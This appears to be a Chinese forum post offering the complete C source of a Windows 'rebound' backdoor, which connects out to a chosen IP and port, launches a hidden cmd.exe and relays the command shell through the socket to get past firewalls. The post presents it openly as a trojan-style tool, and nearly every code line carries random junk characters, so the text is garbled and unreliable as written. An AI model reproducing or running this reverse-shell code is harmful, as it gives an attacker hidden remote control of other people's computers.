这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 In+^V([u+_
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/* ============================== bl$j%gI%,
Rebound port in Windows NT (Vap7.6;_
By wind,2006/7 Z'ao[CG
===============================*/ dN0mYlu1|
#include .)t(:)*b
#include Vd<K4Tk
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#pragma comment(lib,"wsock32.lib") CW;m
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void OutputShell(); QoseS/
SOCKET sClient; > Y]_K
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3a^)u-9,x
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void main(int argc,char **argv) +4HlRGH
{ 8t=3
WSADATA stWsaData; bBG/gQ
int nRet; Bj=@&;
SOCKADDR_IN stSaiClient,stSaiServer; =]d^3bqN
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if(argc != 3) W0|_]"K-
{ tvT4S
printf("Useage:\n\rRebound DestIP DestPort\n"); B%mtp;) P
return; D:)~%wu Lt
} OEI3eizgH
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WSAStartup(MAKEWORD(2,2),&stWsaData); vnZ4(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xG w?'\
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stSaiClient.sin_family = AF_INET; OGGSS&5tw
stSaiClient.sin_port = htons(0); 1OP"5f
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); k:mlt:
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Z)5klg$c
{ OW#_ty_ul
printf("Bind Socket Failed!\n"); y{92Lym
return; C#h76fpH
} i pwW%"6
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stSaiServer.sin_family = AF_INET; XECikld>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s6/cL|Ex
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2m_H*1HJ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) mtIMW9
{ 0Nt%YP
printf("Connect Error!"); .*:h9AE7vo
return; |,{+;:
} QY6O(=
OutputShell(); b*`fLrqV.
} NA\ x<
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void OutputShell() ?uig04@3
{ yi|:}K$
char szBuff[1024]; s&0*'^'O[S
SECURITY_ATTRIBUTES stSecurityAttributes; j3LNnZY
OSVERSIONINFO stOsversionInfo; 0R*}QXph
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; NN11}E6
STARTUPINFO stStartupInfo; GZS{&w!
char *szShell; RyE_|]I62u
PROCESS_INFORMATION stProcessInformation; W#VfX!~
unsigned long lBytesRead; umryA{Ps
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a}w&dE$!-
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @BXaA0F4
stSecurityAttributes.lpSecurityDescriptor = 0; Kn.iyR
stSecurityAttributes.bInheritHandle = TRUE; {o {#]fbO%
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); R@&?i=gk
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Rd0?zEKV
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g&P9UW>qS
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -: C[P
stStartupInfo.wShowWindow = SW_HIDE; [RW,{A
stStartupInfo.hStdInput = hReadPipe; F=VoFmF@
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a0 qj[+
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GetVersionEx(&stOsversionInfo); sY_fq.Z
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switch(stOsversionInfo.dwPlatformId) pIL`WE1'
{ I'P!,Y/>
case 1: vRxL&8`&
szShell = "command.com"; >H8^0n)?
break; |]I#CdO
default: ,d5ia4\K
szShell = "cmd.exe";
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break; I ;l`VtD
} fq{I$syY
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (Y&R0jt
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send(sClient,szMsg,77,0); aQC7 V !v
while(1) %N!h38N2
{ WGluZhRuT3
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N:5b1TdI,
if(lBytesRead) WI%zr2T
{ eUYG96Jw
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4U:DJ_GN
send(sClient,szBuff,lBytesRead,0); WtMcI>4w
} cS+?s=d
else v#w4{.8)
{ H#_}^cGPR=
lBytesRead=recv(sClient,szBuff,1024,0); /\Jc:v#Q
if(lBytesRead<=0) break; A-}PpH~.Z
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +ESX.Vel
} !:&2+%
} S`iM.;|`O
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return; RiwEuY
}